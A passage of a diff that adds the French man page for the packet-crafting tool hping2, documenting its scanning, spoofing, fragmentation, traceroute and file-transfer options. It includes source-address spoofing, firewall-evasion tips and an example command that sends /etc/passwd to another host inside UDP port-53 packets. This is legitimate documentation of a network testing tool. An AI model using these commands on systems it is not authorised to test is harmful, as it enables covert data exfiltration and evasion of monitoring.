|
||||||
|
.I wait
|
||||||
|
à X secondes, --interval uX fixe
|
||||||
|
.I wait
|
||||||
|
à X micro secondes. Le défaut est d'attendre une seconde entre chaque
|
||||||
|
paquet. En utilisant hping2 pour transférer des fichiers fixer cette option
|
||||||
|
est très important pour augmenter le taux de transfert. Même en utilisant
|
||||||
|
hping2 pour effectuer des scans passifs/avec usurpation d'adresse vous
|
||||||
|
devriez fixer cette option, voir
|
||||||
|
.B HPING2-HOWTO
|
||||||
|
pour plus d'informations.
|
||||||
|
.TP
|
||||||
|
.I --fast
|
||||||
|
Alias pour -i u10000. Hping enverra 10 paquets par seconde.
|
||||||
|
.TP
|
||||||
|
.I --faster
|
||||||
|
Alias pour -i u1. Plus rapide que --fast ;) (mais pas aussi rapide que votre
|
||||||
|
ordinateur peut envoyer des paquets à cause de la conception basée sur les
|
||||||
|
signaux).
|
||||||
|
.TP
|
||||||
|
.I -n --numeric
|
||||||
|
Sortie numérique seulement, aucune tentative ne sera faite pour chercher les
|
||||||
|
noms symboliques pour les adresses système.
|
||||||
|
.TP
|
||||||
|
.I -q --quiet
|
||||||
|
Sortie silencieuse. Rien n'est affiche excepté les lignes de résume au
|
||||||
|
moment du démarrage et quand c'est fini.
|
||||||
|
.TP
|
||||||
|
.I -I --interface interface name
|
||||||
|
Par défaut sur les systèmes linux et BSD hping2 utilise l'interface de
|
||||||
|
routage par défaut. Sur d'autres systèmes ou quand il n'y a pas d'interface
|
||||||
|
de routage par défaut hping2 utilise la première interface non loopback.
|
||||||
|
Quoi qu'il en soit vous avez la possibilité de forcer hping2 à utiliser
|
||||||
|
l'interface dont vous avez besoin en utilisant cette option. Note : vous
|
||||||
|
n'avez pas besoin de spécifier le nom complet, par exemple -I et va
|
||||||
|
correspondre à eth0 ethernet0 myet1 et cetera. Si aucune interface ne
|
||||||
|
correspond hping2 essayera d'utiliser lo.
|
||||||
|
.TP
|
||||||
|
.I -V --verbose
|
||||||
|
Active la sortie verbeuse. Les réponses TCP seront affichées comme suit :
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
|
||||||
|
tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
|
||||||
|
.TP
|
||||||
|
.I -D --debug
|
||||||
|
Active le mode de débogage, c'est utile quand vous rencontrez quelques
|
||||||
|
problèmes avec hping2. Quand le mode de débogage est activé vous obtiendrez
|
||||||
|
plus d'informations à propos
|
||||||
|
.B de la détection des interfaces, de l'accès au niveau données, du
|
||||||
|
.B réglage des interfaces, des options d'analyse, de la fragmentation, du
|
||||||
|
.B protocole HCMP
|
||||||
|
et d'autres choses.
|
||||||
|
.TP
|
||||||
|
.I -z --bind
|
||||||
|
Lie CTRL+Z au
|
||||||
|
.B time to live (TTL)
|
||||||
|
ainsi vous serez capable d'incrémenter/décrémenter le ttl des paquets
|
||||||
|
sortant en pressant CTRL+Z une ou deux fois.
|
||||||
|
.TP
|
||||||
|
.I -Z --unbind
|
||||||
|
Dé-lie CTRL+Z ainsi vous serez capable d'arrêter hping2
|
||||||
|
.SH SELECTION DE PROTOCOLE
|
||||||
|
Le protocole par défaut est TCP, par défaut hping2 enverra des entêtes TCP
|
||||||
|
sur le port 0 du système cible avec une winsize (ndt : taille de fenêtre) de
|
||||||
|
64 sans aucun drapeau TCP activé. Souvent c'est la meilleure manière de
|
||||||
|
faire un 'ping caché', utile quand la cible est derrière un firewall qui
|
||||||
|
jette ICMP. De plus un paquet TCP null-flag (ndt : sans drapeau) vers le port
|
||||||
|
0 a de bonnes probabilités de ne pas être journalisé.
|
||||||
|
.TP
|
||||||
|
.I -0 --rawip
|
||||||
|
Mode RAW IP, dans ce mode hping2 enverra une entête IP avec les données
|
||||||
|
ajoutées avec --signature et/ou --file, voir également --ipproto qui vous
|
||||||
|
autorise à fixer le champ protocole IP.
|
||||||
|
.TP
|
||||||
|
.I -1 --icmp
|
||||||
|
Mode ICMP, par défaut hping2 enverra un paquet ICMP echo-request, vous
|
||||||
|
pouvez fixer un autre type/code ICMP en utilisant les options
|
||||||
|
.B --icmptype --icmpcode
|
||||||
|
.TP
|
||||||
|
.I -2 --udp
|
||||||
|
Mode UDP, par défaut hping2 enverra des paquets UDP vers le port 0 du
|
||||||
|
système cible. Les options réglables des entêtes UDP sont les suivantes :
|
||||||
|
.B --baseport, --destport, --keep.
|
||||||
|
.TP
|
||||||
|
.I -8 --scan
|
||||||
|
Mode scan, l'option attend un argument qui décrit des groupes de ports à
|
||||||
|
scanner. Les groupes de ports sont séparés par des virgules : un nombre
|
||||||
|
décrit seulement un port unique, donc 1,2,3 signifie ports 1, 2 et 3. Les
|
||||||
|
intervalles sont spécifiés en utilisant une notation début-fin, comme
|
||||||
|
1-1000, qui dit à hping de scanner les ports entre 1 et 1000 (inclus). Le
|
||||||
|
mot spécial
|
||||||
|
.B all
|
||||||
|
est un alors pour 0-65535, pendant que le mot spécial
|
||||||
|
.B known
|
||||||
|
inclut tous les ports listés dans /etc/services.
|
||||||
|
.br
|
||||||
|
Les groupes peuvent être combinés, donc la commande suivante scannera les
|
||||||
|
ports entre 1 et 1000 ET le port 8888 ET les ports listés dans
|
||||||
|
/etc/services:
|
||||||
|
.B hping --scan 1-1000,8888,known -S target.host.com
|
||||||
|
.br
|
||||||
|
Les groupes peuvent être niés (soustraits) en utilisant un caractère ! comme
|
||||||
|
préfix, donc la ligne de commande suivante scannera tous les ports NON
|
||||||
|
listés dans /etc/services dans l'intervalle 1-1024 :
|
||||||
|
.B hping --scan '1-1024,!known' -S target.host.com
|
||||||
|
.br
|
||||||
|
Gardez à l'esprit que pendant que hping apparaît beaucoup plus comme un
|
||||||
|
scanneur de ports dans ce mode, la plupart des options sont toujours
|
||||||
|
honorées, donc pour effectuer par exemple un scan SYN vous avez besoin de
|
||||||
|
spécifier l'option
|
||||||
|
.BR -S ,
|
||||||
|
vous pouvez changer la taille de la fenêtre TCP, le TTL, contrôler la
|
||||||
|
fragmentation IP comme habituellement, et ainsi de suite. La seule
|
||||||
|
différence réelle est que le comportement standard de hping est encapsulé
|
||||||
|
dans un algorithme de scan.
|
||||||
|
.br
|
||||||
|
.B Note technique
|
||||||
|
: Le mode scan utilise une conception basée sur deux
|
||||||
|
processus, avec de la mémoire partagée pour la synchronisation.
|
||||||
|
L'algorithlme de scan n'est toujours pas optimal, mais déjà assez rapide.
|
||||||
|
.br
|
||||||
|
.B Conseil
|
||||||
|
: à la différence de la plupart des scanneurs, hping montre quelques
|
||||||
|
informations intéressantes à propos des paquets reçus, les champs IP ID, TCP
|
||||||
|
win, TTL, et ainsi de suite, n'oubliez pas de regarder ces informations
|
||||||
|
additionnelles quand vous effectuez un scan! Quelques fois elles montrent des
|
||||||
|
détails intéressants.
|
||||||
|
.TP
|
||||||
|
.I -9 --listen signature
|
||||||
|
Mode d'écoute de HPING2, en utilisant cette option hping2 attend les paquets
|
||||||
|
qui contiennent
|
||||||
|
.I signature
|
||||||
|
et exporte de la fin de la
|
||||||
|
.I signature
|
||||||
|
à la fin du paquet. Par exemple si hping2 --listen TEST lit un paquet qui
|
||||||
|
contient
|
||||||
|
.B 234-09sdflkjs45-TESThello_world
|
||||||
|
il affichera
|
||||||
|
.BR hello_world .
|
||||||
|
.SH OPTIONS IP
|
||||||
|
.TP
|
||||||
|
.I -a --spoof hostname
|
||||||
|
Utiliser cette option dans le but de fixer une fausse adresse source, cette
|
||||||
|
option assure que le système cible n'obtiendra pas votre adresse réelle.
|
||||||
|
Quoi qu'il en soit les réponses seront envoyées à l'adresse usurpée, ainsi
|
||||||
|
vous ne serez pas capable de les voir. Afin de voir comment il est possible
|
||||||
|
d'effectuer des scans avec des adresses usurpées/passifs voir le fichier
|
||||||
|
.BR HPING2-HOWTO .
|
||||||
|
|
||||||
|
.TP
|
||||||
|
.I --rand-source
|
||||||
|
Cette option active le
|
||||||
|
.BR "mode source aléatoire" .
|
||||||
|
hping enverra des paquets avec des adresses sources aléatoires. Il est
|
||||||
|
intéressant d'utiliser cette option pour stresser les tables d'étât d'un
|
||||||
|
firewall, et d'autres tables dynamiques basées sur les IP dans les piles
|
||||||
|
TCP/IP et les firewall logiciels.
|
||||||
|
.TP
|
||||||
|
.I --rand-dest
|
||||||
|
Cette option active le
|
||||||
|
.BR "mode destination aléatoire" .
|
||||||
|
hping enverra des paquets à des adresses aléatoires obtenues en suivant la
|
||||||
|
règle que vous avez spécifiée comme système cible. Vous avez besoin de
|
||||||
|
spécifier une adresse IP numérique en tant que système cible comme
|
||||||
|
.BR "10.0.0.x" .
|
||||||
|
Toutes les occurrences de
|
||||||
|
.B x
|
||||||
|
seront remplacées avec un nombre aléatoire dans l'intervalle 0-255. Ainsi
|
||||||
|
pour obtenir des adresses IP internet dans l'espace IPv4 complet utilisez
|
||||||
|
quelque chose comme
|
||||||
|
.BR "hping x.x.x.x --rand-dest" .
|
||||||
|
Si vous n'êtes pas sûrs du genre d'adresses que votre règle génère essayez
|
||||||
|
d'utiliser l'option
|
||||||
|
.B --debug
|
||||||
|
pour afficher chaque nouvelle adresse destination générée.
|
||||||
|
.br
|
||||||
|
.B Attention
|
||||||
|
: quand cette option est activée hping ne peut pas détecter la bonne
|
||||||
|
interface
|
||||||
|
de sortie pour les paquets, ainsi vous devez utiliser l'option
|
||||||
|
.B --interface
|
||||||
|
pour sélectionner l'interface de sortie.
|
||||||
|
.TP
|
||||||
|
.I -t --ttl time to live
|
||||||
|
En utilisant cette option vous pouvez fixer le
|
||||||
|
.B TTL (time to live)
|
||||||
|
des paquets sortant, il est vraisemblable que vous utiliserez ceci avec les
|
||||||
|
options
|
||||||
|
.B --traceroute
|
||||||
|
ou
|
||||||
|
.B --bind
|
||||||
|
Dans le doute essayez
|
||||||
|
.BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'."
|
||||||
|
.TP
|
||||||
|
.I -N --id
|
||||||
|
Fixe le champ ip->id . La valeur du champ id par défaut est aléatoire mais
|
||||||
|
si la fragmentation est activée et que le champ id n'est pas spécifié alors
|
||||||
|
il sera égal à
|
||||||
|
.BR "getpid() & 0xFF" ,
|
||||||
|
mettre en oeuvre une meilleure solution est dans la liste TODO (ndt : à faire).
|
||||||
|
.TP
|
||||||
|
.I -H --ipproto
|
||||||
|
Fixe le protocole IP dans le mode RAW IP.
|
||||||
|
.TP
|
||||||
|
.I -W --winid
|
||||||
|
Le champ id des systèmes Windows* avant Win2k ont un byte ordering (ndt :
|
||||||
|
ordre des
|
||||||
|
octets) différent, si cette option est activée hping2 affichera proprement
|
||||||
|
les champs id des réponses de ces Windows.
|
||||||
|
.TP
|
||||||
|
.I -r --rel
|
||||||
|
Affiche les incréments du champ id au lieu du champ id. Voir le fichier
|
||||||
|
.B HPING2-HOWTO
|
||||||
|
pour plus d'informations. Les incréments ne sont pas calculés comme
|
||||||
|
id[N]-id[N-1] mais en utilisant une compensation de pertes de paquets. Voir
|
||||||
|
le fichier relid.c pour plus d'informations.
|
||||||
|
.TP
|
||||||
|
.I -f --frag
|
||||||
|
Découpe les paquets en fragments, ceci peut être utile afin de tester les
|
||||||
|
performances de la fragmentation des piles IP et de tester si certains
|
||||||
|
filtres de paquets sont si faibles qu'ils peuvent être passés en utilisant
|
||||||
|
de petits fragments (anachronique). Par défaut le 'mtu virtuel' (ndt :
|
||||||
|
taille des fragments) est de 16 octets. Voir également l'option
|
||||||
|
.IR --mtu .
|
||||||
|
.TP
|
||||||
|
.I -x --morefrag
|
||||||
|
Fixe le drapeau IP "more fragments" (ndt : d'autres fragments), utilisez
|
||||||
|
cette option si vous voulez que le système cible envoie un paquet
|
||||||
|
.B ICMP time-exceeded during reassembly
|
||||||
|
(ndt : délai dépassé durant le ré-assemblage).
|
||||||
|
.TP
|
||||||
|
.I -y --dontfrag
|
||||||
|
Fixe le drapeau IP "don't fragment" (ndt : ne pas fragmenter), ceci peut
|
||||||
|
être utilisé pour effectuer un
|
||||||
|
.B MTU path discovery
|
||||||
|
(ndt : découverte de la valeur minimale de la "taille maximale des paquets"
|
||||||
|
sur le chemin).
|
||||||
|
.TP
|
||||||
|
.I -g --fragoff fragment offset value
|
||||||
|
Fixe l'offset du fragment.
|
||||||
|
.TP
|
||||||
|
.I -m --mtu mtu value
|
||||||
|
Fixe un 'mtu virtuel' différent de 16 quand la fragmentation est activée. Si
|
||||||
|
la taille des paquets est supérieure au 'mtu virtuel' alors la fragmentation
|
||||||
|
est automatiquement activée.
|
||||||
|
.TP
|
||||||
|
.I -o --tos hex_tos
|
||||||
|
Fixe
|
||||||
|
.B Type Of Service (TOS)
|
||||||
|
(ndt : le type de service), pour plus d'informations essayez
|
||||||
|
.BR "--tos help" .
|
||||||
|
.TP
|
||||||
|
.I -G --rroute
|
||||||
|
Enregistrer la route. Inclut l'option RECORD_ROUTE dans chaque paquet envoyé
|
||||||
|
et affiche la route présente dans le tampon du paquet retourné. Notez que
|
||||||
|
l'entête IP n'est suffisamment large que pour neuf routes. Beaucoup de
|
||||||
|
systèmes ignorent ou suppriment cette option. Notez également qu'en
|
||||||
|
utilisant hping vous êtes capable d'utiliser l'enregistrement de la route
|
||||||
|
même si le système cible filtre ICMP. Enregistrer la route est une option
|
||||||
|
IP, non pas une option ICMP, ainsi vous pouvez utiliser l'option
|
||||||
|
d'enregistrement de la route même dans les modes TCP et UDP.
|
||||||
|
.SH OPTIONS ICMP
|
||||||
|
.TP
|
||||||
|
.I -C --icmptype type
|
||||||
|
Fixe le type ICMP, le défaut est
|
||||||
|
.BR "ICMP echo request" .
|
||||||
|
.TP
|
||||||
|
.I -K --icmpcode code
|
||||||
|
Fixe le code ICMP, le défaut est 0 (implique --icmp).
|
||||||
|
.TP
|
||||||
|
.I --icmp-ipver
|
||||||
|
Fixe la version IP de l'entête IP contenue dans les données ICMP, le défaut
|
||||||
|
est 4.
|
||||||
|
.TP
|
||||||
|
.I --icmp-iphlen
|
||||||
|
Fixe la longueur de l'entête IP contenue dans les données ICMP, le défaut
|
||||||
|
est 5 (5 mots de 32 bits).
|
||||||
|
.TP
|
||||||
|
.I --icmp-iplen
|
||||||
|
Fixe la longueur du paquet IP de l'entête IP contenue dans les données ICMP,
|
||||||
|
le défaut est la taille réelle.
|
||||||
|
.TP
|
||||||
|
.I --icmp-ipid
|
||||||
|
Fixe le champ IP id de l'entête IP contenue dans les données ICMP, le défaut
|
||||||
|
est aléatoire.
|
||||||
|
.TP
|
||||||
|
.I --icmp-ipproto
|
||||||
|
Fixe le protocole IP de l'entête IP contenue dans les données ICMP, le
|
||||||
|
défaut est TCP.
|
||||||
|
.TP
|
||||||
|
.I --icmp-cksum
|
||||||
|
Fixe la somme de contrôle ICMP, le défaut est la somme de contrôle valide.
|
||||||
|
.TP
|
||||||
|
.I --icmp-ts
|
||||||
|
Alias pour --icmptype 13 (pour envoyer des requêtes ICMP timestamp).
|
||||||
|
.TP
|
||||||
|
.I --icmp-addr
|
||||||
|
Alias pour --icmptype 17 (pour envoyer des requêtes ICMP masque réseau).
|
||||||
|
.SH OPTIONS TCP/UDP
|
||||||
|
.TP
|
||||||
|
.I -s --baseport source port
|
||||||
|
hping2 utilise le port source afin de deviner les numéros de séquence des
|
||||||
|
réponses. Il commence avec un numéro de port source de base, et incrémente
|
||||||
|
ce numéro pour chaque paquet envoyé. Quand un paquet est reçu alors le
|
||||||
|
numéro de séquence peut être calculé comme
|
||||||
|
.IR "port.source.réponse - port.source.de.base" .
|
||||||
|
Le port source de base par défaut est aléatoire, en utilisant cette option
|
||||||
|
vous êtes capable de fixer un numéro différent. Si vous avez besoin que le
|
||||||
|
port source ne soit pas incrémenté pour chaque paquet envoyé utilisez
|
||||||
|
l'option
|
||||||
|
.IR "-k --keep" .
|
||||||
|
.TP
|
||||||
|
.I -p --destport [+][+]dest port
|
||||||
|
Fixe le port destination, le défaut est 0. Si le caractère '+' précède le
|
||||||
|
numéro de port destination (i.e. +1024) le port destination sera incrémenté
|
||||||
|
pour chaque paquet reçu. Si deux '+' précèdent le numéro de port destination
|
||||||
|
(i.e. ++1024), le port destination sera incrémenté pour chaque paquet
|
||||||
|
envoyé.
|
||||||
|
Par défaut le port destination peut être modifié interactivement en
|
||||||
|
utilisant
|
||||||
|
.B CTRL+z.
|
||||||
|
.TP
|
||||||
|
.I --keep
|
||||||
|
Garde constant le port source, voir
|
||||||
|
.I --baseport
|
||||||
|
pour plus d'informations.
|
||||||
|
.TP
|
||||||
|
.I -w --win
|
||||||
|
Fixe la taille de la fenêtre TCP. Le défaut est 64.
|
||||||
|
.TP
|
||||||
|
.I -O --tcpoff
|
||||||
|
Fixe un faux offset (ndt : décalage) des données TCP. L'offset normal des
|
||||||
|
données est tcphdrlen / 4.
|
||||||
|
.TP
|
||||||
|
.I -M --tcpseq
|
||||||
|
Fixe le numéro de séquence TCP.
|
||||||
|
.TP
|
||||||
|
.I -L --tcpack
|
||||||
|
Fixe le drapeau TCP ack.
|
||||||
|
.TP
|
||||||
|
.I -Q --seqnum
|
||||||
|
Cette option peut être utilisée afin de collecter les numéros de séquence
|
||||||
|
générés par le système cible. Ceci peut être utile quand vous avez besoin
|
||||||
|
d'analyser si les numéros de séquence TCP sont prévisibles. Exemple de
|
||||||
|
sortie :
|
||||||
|
|
||||||
|
.B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0
|
||||||
|
.nf
|
||||||
|
HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes
|
||||||
|
2361294848 +2361294848
|
||||||
|
2411626496 +50331648
|
||||||
|
2545844224 +134217728
|
||||||
|
2713616384 +167772160
|
||||||
|
2881388544 +167772160
|
||||||
|
3049160704 +167772160
|
||||||
|
3216932864 +167772160
|
||||||
|
3384705024 +167772160
|
||||||
|
3552477184 +167772160
|
||||||
|
3720249344 +167772160
|
||||||
|
3888021504 +167772160
|
||||||
|
4055793664 +167772160
|
||||||
|
4223565824 +167772160
|
||||||
|
.fi
|
||||||
|
|
||||||
|
La première colonne reporte les numéros de séquence, la seconde la
|
||||||
|
différence entre le numéro de séquence courant et le dernier. Comme vous
|
||||||
|
pouvez le voir les numéros de séquence du système cible sont prévisibles.
|
||||||
|
.TP
|
||||||
|
.I -b --badcksum
|
||||||
|
Envoie des paquets avec une mauvaise somme de contrôle UDP/TCP
|
||||||
|
.TP
|
||||||
|
.I --tcp-timestamp
|
||||||
|
Active l'option TCP timestamp, et essaye de deviner la fréquence de mise à
|
||||||
|
jour du timestamp et l'uptime du système distant.
|
||||||
|
.TP
|
||||||
|
.I -F --fin
|
||||||
|
Fixe le drapeau TCP FIN.
|
||||||
|
.TP
|
||||||
|
.I -S --syn
|
||||||
|
Fixe le drapeau TCP SYN.
|
||||||
|
.TP
|
||||||
|
.I -R --rst
|
||||||
|
Fixe le drapeau TCP RST.
|
||||||
|
.TP
|
||||||
|
.I -P --push
|
||||||
|
Fixe le drapeau TCP PUSH.
|
||||||
|
.TP
|
||||||
|
.I -A --ack
|
||||||
|
Fixe le drapeau TCP ACK.
|
||||||
|
.TP
|
||||||
|
.I -U --urg
|
||||||
|
Fixe le drapeau TCP URG.
|
||||||
|
.TP
|
||||||
|
.I -X --xmas
|
||||||
|
Fixe le drapeau TCP Xmas.
|
||||||
|
.TP
|
||||||
|
.I -Y --ymas
|
||||||
|
Fixe le drapeau TCP Ymas.
|
||||||
|
.SH OPTIONS COMMUNES
|
||||||
|
.TP
|
||||||
|
.I -d --data data size
|
||||||
|
Fixe la taille du corps du paquet. Attention, en utilisant --data 40 hping2
|
||||||
|
ne générera pas des paquets de 0 octet mais de entête_de_protocole+40
|
||||||
|
octets. hping2 affichera en information la taille des paquets comme première
|
||||||
|
ligne de sortie, comme ceci :
|
||||||
|
.B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes
|
||||||
|
.TP
|
||||||
|
.I -E --file filename
|
||||||
|
Utilise le contenu du fichier
|
||||||
|
.B filename
|
||||||
|
pour remplir les données du paquet.
|
||||||
|
.TP
|
||||||
|
.I -e --sign signature
|
||||||
|
Remplit d'abord
|
||||||
|
.I longueur de signature
|
||||||
|
octets de données avec
|
||||||
|
.IR signature .
|
||||||
|
Si
|
||||||
|
.I longueur de signature
|
||||||
|
est plus grand que la taille des données alors un message d'erreur sera
|
||||||
|
affiché.
|
||||||
|
Si vous ne spécifiez pas la taille des données hping utilisera la taille de
|
||||||
|
la signature comme taille des données.
|
||||||
|
Cette option peut être utilisée sans risque avec l'option
|
||||||
|
.IR "--file filename" ,
|
||||||
|
l'espace de données restant sera rempli en utilisant le fichier
|
||||||
|
.IR filename .
|
||||||
|
.TP
|
||||||
|
.I -j --dump
|
||||||
|
Affiche les paquets en hexadécimal.
|
||||||
|
.TP
|
||||||
|
.I -J --print
|
||||||
|
Affiche les caractères imprimables des paquets reçus.
|
||||||
|
.TP
|
||||||
|
.I -B --safe
|
||||||
|
Active le protocole safe, en utilisant cette option les paquets perdus dans
|
||||||
|
un transfert de fichier seront renvoyés. Par exemple afin d'envoyer le
|
||||||
|
fichier /etc/passwd depuis le système A au système B vous pouvez utiliser ce
|
||||||
|
qui suit :
|
||||||
|
.nf
|
||||||
|
.I [host_a]
|
||||||
|
.B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd
|
||||||
|
.I [host_b]
|
||||||
|
.B # hping2 host_a --listen signature --safe --icmp
|
||||||
|
.fi
|
||||||
|
.TP
|
||||||
|
.I -u --end
|
||||||
|
Si vous utilisez l'option
|
||||||
|
.IR "--file filename" ,
|
||||||
|
cela vous dit quand la fin du fichier a été atteinte. D'ailleurs cela
|
||||||
|
prévient que l'autre côté accepte plus de paquets. S'il vous plaît, pour
|
||||||
|
plus d'informations voir le fichier
|
||||||
|
.BR HPING2-HOWTO .
|
||||||
|
.TP
|
||||||
|
.I -T --traceroute
|
||||||
|
Mode traceroute. En utilisant cette option hping2 incrémentera le ttl pour
|
||||||
|
chaque paquet
|
||||||
|
.B ICMP time to live 0 during transit
|
||||||
|
reçu. Essayez
|
||||||
|
.BR "hping2 host --traceroute" .
|
||||||
|
Cette option implique --bind et --ttl 1. Vous pouvez l'emporter sur le ttl à
|
||||||
|
1 en utilisant l'option --ttl. Depuis 2.0.0 stable il affiche les
|
||||||
|
informations de RTT.
|
||||||
|
.I --tr-keep-ttl
|
||||||
|
garde le ttl fixe en mode traceroute, ainsi vous pouvez contrôler simplement
|
||||||
|
un noeud sur la route. Par exemple, pour contrôler comment le 5ème noeud
|
||||||
|
change ou comment son RTT change vous pouvez essayer
|
||||||
|
.BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" .
|
||||||
|
.TP
|
||||||
|
.I --tr-stop
|
||||||
|
Si cette option est spécifiée hping quittera dès que le premier paquet qui
|
||||||
|
n'est pas un ICMP time exceeded est reçu. Ceci émule mieux le comportement
|
||||||
|
de traceroute.
|
||||||
|
.TP
|
||||||
|
.I --tr-no-rtt
|
||||||
|
Ne montre pas l'information RTT en mode traceroute. L'information du RTT des
|
||||||
|
ICMP time exceeded n'est même pas calculée si cette option est positionnée.
|
||||||
|
.TP
|
||||||
|
.I --tcpexitcode
|
||||||
|
Quitte avec le champ tcp->th_flag du dernier paquet reçu comme code de
|
||||||
|
retour. Utile pour les scripts qui ont besoin, par exemple, de savoir si le
|
||||||
|
port 999 de quelque système répond avec SYN/ACK ou avec RST en réponse à un
|
||||||
|
SYN, i.e. le service est lancé ou arrêté.
|
||||||
|
.SH FORMAT DE SORTIE TCP
|
||||||
|
Le format standard de sortie TCP est le suivant :
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
|
||||||
|
|
||||||
|
.B len
|
||||||
|
est la taille, en octets, des données capturées dans la couche liaison de
|
||||||
|
données en excluant la taille de l'entête de liaison de données. Ceci peut
|
||||||
|
ne pas correspondre à la taille du datagramme IP à cause du rembourrage bas
|
||||||
|
niveau de la couche liaison de données.
|
||||||
|
|
||||||
|
.B ip
|
||||||
|
est l'adresse ip source.
|
||||||
|
|
||||||
|
.B flags
|
||||||
|
sont les drapeaux TCP, R pour RESET, S pour SYN, A pour ACK, F pour FIN, P
|
||||||
|
pour PUSH, U pour URGENT, X pour 0x40 non standard, Y pour 0x80 non
|
||||||
|
standard.
|
||||||
|
|
||||||
|
Si la réponse contient
|
||||||
|
.B DF
|
||||||
|
l'entête IP possède le bit don't fragment (ndt : ne pas fragmenter)
|
||||||
|
positionné.
|
||||||
|
|
||||||
|
.B seq
|
||||||
|
est le numéro de séquence du paquet, obtenu en utilisant le port source pour
|
||||||
|
les paquets TCP/UDP, le champ séquence pour les paquets ICMP.
|
||||||
|
|
||||||
|
.B id
|
||||||
|
est le champ IP ID.
|
||||||
|
|
||||||
|
.B win
|
||||||
|
est la taille de la fenêtre TCP
|
||||||
|
|
||||||
|
.B rtt
|
||||||
|
est le "round trip time" (ndt : temps aller-retour) en millisecondes.
|
||||||
|
|
||||||
|
Si vous exécutez hping en utilisant l'option
|
||||||
|
.B -V
|
||||||
|
de la ligne de commande il affichera des informations supplémentaires à
|
||||||
|
propos du paquet, par exemple :
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
|
||||||
|
tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0
|
||||||
|
|
||||||
|
.B tos
|
||||||
|
est le champ type de service de l'entête IP.
|
||||||
|
|
||||||
|
.B iplen
|
||||||
|
est le champ IP longueur totale.
|
||||||
|
|
||||||
|
.B seq et ack
|
||||||
|
sont les numéros de séquence et d'acquittement sur 32 bits dans l'entête
|
||||||
|
TCP.
|
||||||
|
|
||||||
|
.B sum
|
||||||
|
est la valeur de la somme de contrôle de l'entête TCP.
|
||||||
|
|
||||||
|
.B urp
|
||||||
|
est la valeur du pointeur urgent TCP.
|
||||||
|
|
||||||
|
.SH FORMAT DE SORTIE UDP
|
||||||
|
|
||||||
|
Le format standard de sortie est :
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
|
||||||
|
|
||||||
|
La signification des champs est la même que celle de la sortie TCP pour les
|
||||||
|
champs de même nom.
|
||||||
|
|
||||||
|
.SH FORMAT DE SORTIE ICMP
|
||||||
|
|
||||||
|
Un exemple de sortie ICMP est :
|
||||||
|
|
||||||
|
ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net
|
||||||
|
|
||||||
|
Il est très facile à comprendre. Il commence avec la chaîne "ICMP" suivie
|
||||||
|
par la description de l'erreur ICMP, dans l'exemple Port Unreachable (ndt :
|
||||||
|
port non accessible). Le champ ip est l'adresse IP source du datagramme IP
|
||||||
|
contenant l'erreur ICMP, le champ name est simplement l'adresse numérique
|
||||||
|
résolue en un nom (une requête dns PTR) ou UNKNOWN si la résolution a
|
||||||
|
échoué.
|
||||||
|
|
||||||
|
Le format ICMP de Time exceeded during ou de reassembly est un peu
|
||||||
|
différent :
|
||||||
|
|
||||||
|
TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net
|
||||||
|
|
||||||
|
TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN
|
||||||
|
|
||||||
|
La seule différence est la description de l'erreur, elle commence avec TTL
|
||||||
|
0.
|
||||||
|
|
||||||
|
.SH AUTEUR
|
||||||
|
Salvatore Sanfilippo <antirez@invece.org>, avec l'aide des personnes
|
||||||
|
mentionnées dans le fichier AUTHORS et sur http://www.hping.org/authors.html
|
||||||
|
.SH BOGUES
|
||||||
|
Même en utilisant les options --end et --safe pour transférer des fichiers,
|
||||||
|
le paquet final sera rembourré avec des octets 0x00.
|
||||||
|
.PP
|
||||||
|
Les données sont lues sans tenir compte de l'alignement, mais l'alignement
|
||||||
|
est imposé dans les structures de données.
|
||||||
|
Ceci ne sera pas un problème sous i386 mais, alors que normalement les
|
||||||
|
entêtes TCP/IP sont naturellement alignées, cela peut créer des problèmes
|
||||||
|
avec divers processeurs et des paquets mal-formés si il y a des accès non
|
||||||
|
alignés quelque part dans le code (aucun avec un peu de chance).
|
||||||
|
.PP
|
||||||
|
Sur Solaris hping ne fonctionne pas sur l'interface loopback. Ceci semble
|
||||||
|
être un problème solaris, comme exposé dans la liste de diffusion
|
||||||
|
tcpdump-workers, ainsi la libpcap ne peut rien faire pour la supporter
|
||||||
|
correctement.
|
||||||
|
.SH VOIR AUSSI
|
||||||
|
ping(8), traceroute(8), ifconfig(8), nmap(1)
|
||||||
|
.SH TRADUCTEUR
|
||||||
|
Denis Ducamp <Denis.Ducamp@groar.org>
|
694
docs/french/hping2-fr.8.txt
Normal file
694
docs/french/hping2-fr.8.txt
Normal file
@ -0,0 +1,694 @@
|
|||||||
|
HPING2(8) HPING2(8)
|
||||||
|
|
||||||
|
NOM
|
||||||
|
hping2 - envoie des paquets TCP/IP (presque) arbitraires à
|
||||||
|
des systèmes réseaux
|
||||||
|
|
||||||
|
RESUME
|
||||||
|
hping2 [ -hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG ] [ -c count ]
|
||||||
|
[ -i wait ] [ --fast ] [ -I interface ] [ -9 signature ] [
|
||||||
|
-a host ] [ -t ttl ] [ -N ip id ] [ -H ip protocol ] [ -g
|
||||||
|
fragoff ] [ -m mtu ] [ -o tos ] [ -C icmp type ] [ -K icmp
|
||||||
|
code ] [ -s source port ] [ -p[+][+] dest port ] [ -w tcp
|
||||||
|
window ] [ -O tcp offset ] [ -M tcp sequence number ] [ -L
|
||||||
|
tcp ack ] [ -d data size ] [ -E filename ] [ -e signature
|
||||||
|
] [ --icmp-ipver version ] [ --icmp-iphlen length ] [
|
||||||
